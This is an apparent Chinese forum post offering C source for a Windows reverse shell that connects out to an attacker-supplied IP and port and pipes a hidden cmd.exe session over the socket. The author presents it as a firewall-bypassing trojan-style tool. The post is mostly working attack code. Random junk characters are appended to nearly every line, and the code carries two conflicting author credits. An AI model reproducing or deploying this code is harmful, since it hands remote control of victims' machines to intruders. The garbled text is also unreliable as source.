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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &)Z8Qu  
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/* ============================== uAyj##H  
Rebound port in Windows NT CGg:e:4  
By wind,2006/7 e#k9}n^+  
===============================*/ < W,k$|w  
#include Xj$J}A@  
#include :^kP?  
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#pragma comment(lib,"wsock32.lib") )iy>sa{  
'O`jV0aa'  
void OutputShell(); 5h[u2&;G  
SOCKET sClient; ~U8#Iq1  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 6f=/vRAh$  
)T#;1qNB  
void main(int argc,char **argv) ,?B.+4CW\E  
{ W<2%J)N<  
WSADATA stWsaData; <E@ 7CG.=  
int nRet; LH 4-b-  
SOCKADDR_IN stSaiClient,stSaiServer; 3HbHl?-UNU  
W _b $E =  
if(argc != 3) |]A{8BBC  
{ 0 P/A  
printf("Useage:\n\rRebound DestIP DestPort\n"); Beqhe\{  
return; LO.4sO  
} U`6QD}c"s  
g8XGZW!  
WSAStartup(MAKEWORD(2,2),&stWsaData); B<1*p,z  
dGIu0\J\$  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); n{BC m %  
3N+P~v)T'  
stSaiClient.sin_family = AF_INET; RW(AjDM  
stSaiClient.sin_port = htons(0); lha )'   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Pms3X  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) FZ=6x}QZ  
{ MVt#n\_BZV  
printf("Bind Socket Failed!\n"); sQJM 4'8f  
return; iZMsN*9[  
} 1AE/ILGo  
C2<y(GU[Bh  
stSaiServer.sin_family = AF_INET; 5.?O PK6  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); sF+0v p  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o95O!5 hl  
2)j\Lg_M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ,xD{A}}V  
{ (X!/tw,.  
printf("Connect Error!"); ]3={o3[:  
return; h*MR5qa  
} hsqUiB tc6  
OutputShell(); -m|b2g}"3  
} e<9nt [  
W77JXD93  
void OutputShell() 5?O/Aub  
{ p1?}"bHk  
char szBuff[1024]; Z$ftG7;P0  
SECURITY_ATTRIBUTES stSecurityAttributes; Y~vTFOI  
OSVERSIONINFO stOsversionInfo; d:pp,N~2o  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; E*w 2yWR  
STARTUPINFO stStartupInfo; >`{i[60r  
char *szShell; c<D Yk f  
PROCESS_INFORMATION stProcessInformation; h5f>'l z  
unsigned long lBytesRead; 7_K(x mK  
}MIH{CMH  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); VBH[aIW  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); . \d0lJSr  
stSecurityAttributes.lpSecurityDescriptor = 0; }TF<C !]  
stSecurityAttributes.bInheritHandle = TRUE; &)X<yd0  
-:~`g*3#  
L}21[ N~ky  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); j}VOr >xz  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); @wFm])}0  
;etQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); xlwsZm{V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; N Dg]s2T  
stStartupInfo.wShowWindow = SW_HIDE; DY07?x7  
stStartupInfo.hStdInput = hReadPipe; 4z*_,@OA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EmUxM_ T/2  
7S1!|*/ I  
GetVersionEx(&stOsversionInfo); h7y*2:l6  
f.f4<_v'h  
switch(stOsversionInfo.dwPlatformId) ]bR'J\Fwl  
{ FRg6-G/S  
case 1: A;|DQR()  
szShell = "command.com"; ho20> vw#  
break; R/wSGP`W  
default: @\h(s#sn  
szShell = "cmd.exe"; qnS7z%H8  
break; 62 _$O"  
} v8@dvT<  
M[{Cy[ta  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); <R(2 9QN  
d5=xOEv; :  
send(sClient,szMsg,77,0); u#,]>;  
while(1) C\; 8l}t  
{ *]eZ Y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); E+)Go-rS(  
if(lBytesRead) d J!o/y6  
{ ^~aSrREo  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KCT8Q!\  
send(sClient,szBuff,lBytesRead,0); IYO,/ kbf  
} L%0lX$2&\  
else <S}qcjG  
{ bS'r}  
lBytesRead=recv(sClient,szBuff,1024,0); .'a|St  
if(lBytesRead<=0) break; 2o$8CR;  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); mqHt%RX  
} kYs|")isj  
} _+N^yw,r*  
oB\Xl)A<  
return; 2T5xSpC  
}
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